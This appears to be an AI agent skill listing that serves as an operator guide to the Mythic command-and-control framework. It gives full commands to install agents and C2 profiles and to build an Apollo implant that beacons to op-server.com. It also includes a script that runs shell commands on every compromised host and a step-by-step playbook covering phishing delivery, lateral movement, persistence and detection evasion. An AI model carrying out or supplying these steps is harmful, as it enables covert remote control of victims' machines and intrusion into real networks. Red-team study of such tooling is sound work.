Mythic C2 framework operations — multi-agent (Apfell, Apollo, Athena, Poseidon, Medusa), web UI on 7443, RabbitMQ + PostgreSQL backend, JSON-RPC tasking model, building an agent via mythic-cli, profile design (HTTP/SMB/named pipe/peer-to-peer), opsec defaults. Comparison to Sliver: more pluggable, less polished UI.
69
85%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Mythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.
# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install
# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena # cross-platform .NET 6| Agent | Platform | Lang | Best for |
|---|---|---|---|
| Apollo | Windows | C# / .NET Framework 3.5+ | Windows-heavy engagements, .NET interop |
| Poseidon | macOS, Linux | Go | Cross-platform, single static binary |
| Athena | Windows / macOS / Linux | .NET 6/7/8 | Modern .NET, AOT-compiled |
| Apfell | macOS | JavaScript for Automation (JXA) | Native macOS execution via osascript |
| Medusa | any | Python | Quick prototypes, fileless |
| Service Wrapper | Windows | C++ | Persistence via Windows service |
Profiles = the comms channel. An agent can use one or more profiles.
| Profile | Transport | Detection |
|---|---|---|
| http | Plain HTTP(S) with configurable headers, paths, jitter, sleep | Easiest to fingerprint; use behind redirector + domain fronting |
| websocket | WS / WSS | Long-lived; suspicious from desktop |
| smb | Named pipe over SMB | Peer-to-peer between Apollo agents — no internet needed for inner workstations |
| dns | DNS TXT / A queries to attacker NS | Slow, but bypasses every HTTP-only firewall |
| peer-to-peer (SMB) | One agent forwards another's traffic | Use for deep network — only one egress point needed |
# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
--name "stage1" \
--description "Apollo http to op-server.com" \
--agent Apollo \
--c2_profile http \
--c2_profile_parameter callback_host=https://op-server.com \
--c2_profile_parameter callback_port=443 \
--c2_profile_parameter encrypted_exchange_check=T \
--c2_profile_parameter callback_interval=30 \
--c2_profile_parameter callback_jitter=20 \
--c2_profile_parameter killdate=2025-12-31 \
--build_parameter version=net4.0 \
--output_file stage1.exe
# Drop stage1.exe on the target — it calls back to op-server.com over HTTPSMythic provides:
mythic-cli scripting (Python wrapper)https://<host>:7443/v1/graphql# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
for cb in cbs:
await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'load command) over dropping new files on disk.1. Set up Mythic + profiles + agents (1 hr, one-time per engagement)
2. Stage redirector with HTTPS cert (CloudFront, nginx, ...)
3. Build payload(s) per target (1 per OS/objective)
4. Deliver via phish / exploit / pretext
5. On callback: 'whoami', 'hostname', 'pwd', 'ps' — basic survey
6. Network enumeration (token mimic, find-domain-controllers, etc.)
7. Lateral via SMB profile to peers — no new HTTP callbacks
8. Persistence after objective met
9. Clean up; teardown| Mythic | Sliver | Cobalt Strike | Havoc | |
|---|---|---|---|---|
| License | OSS BSD | OSS GPL | $$$ commercial | OSS GPL |
| Agent maturity | Excellent for .NET (Apollo) | Excellent Go single binary | Best-in-class | Improving fast |
| UI | Good web | Web + CLI | Heavy Java client | Modern web |
| Detection | Newer = less fingerprinted | Mid | Heavily detected | Newer |
| Multi-agent | Yes (10+) | Single agent | Single (beacon + ext) | Single |
| Best for | Cross-platform, scripted ops | Single-binary speed | Mature OPSEC | Modern web UI |
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.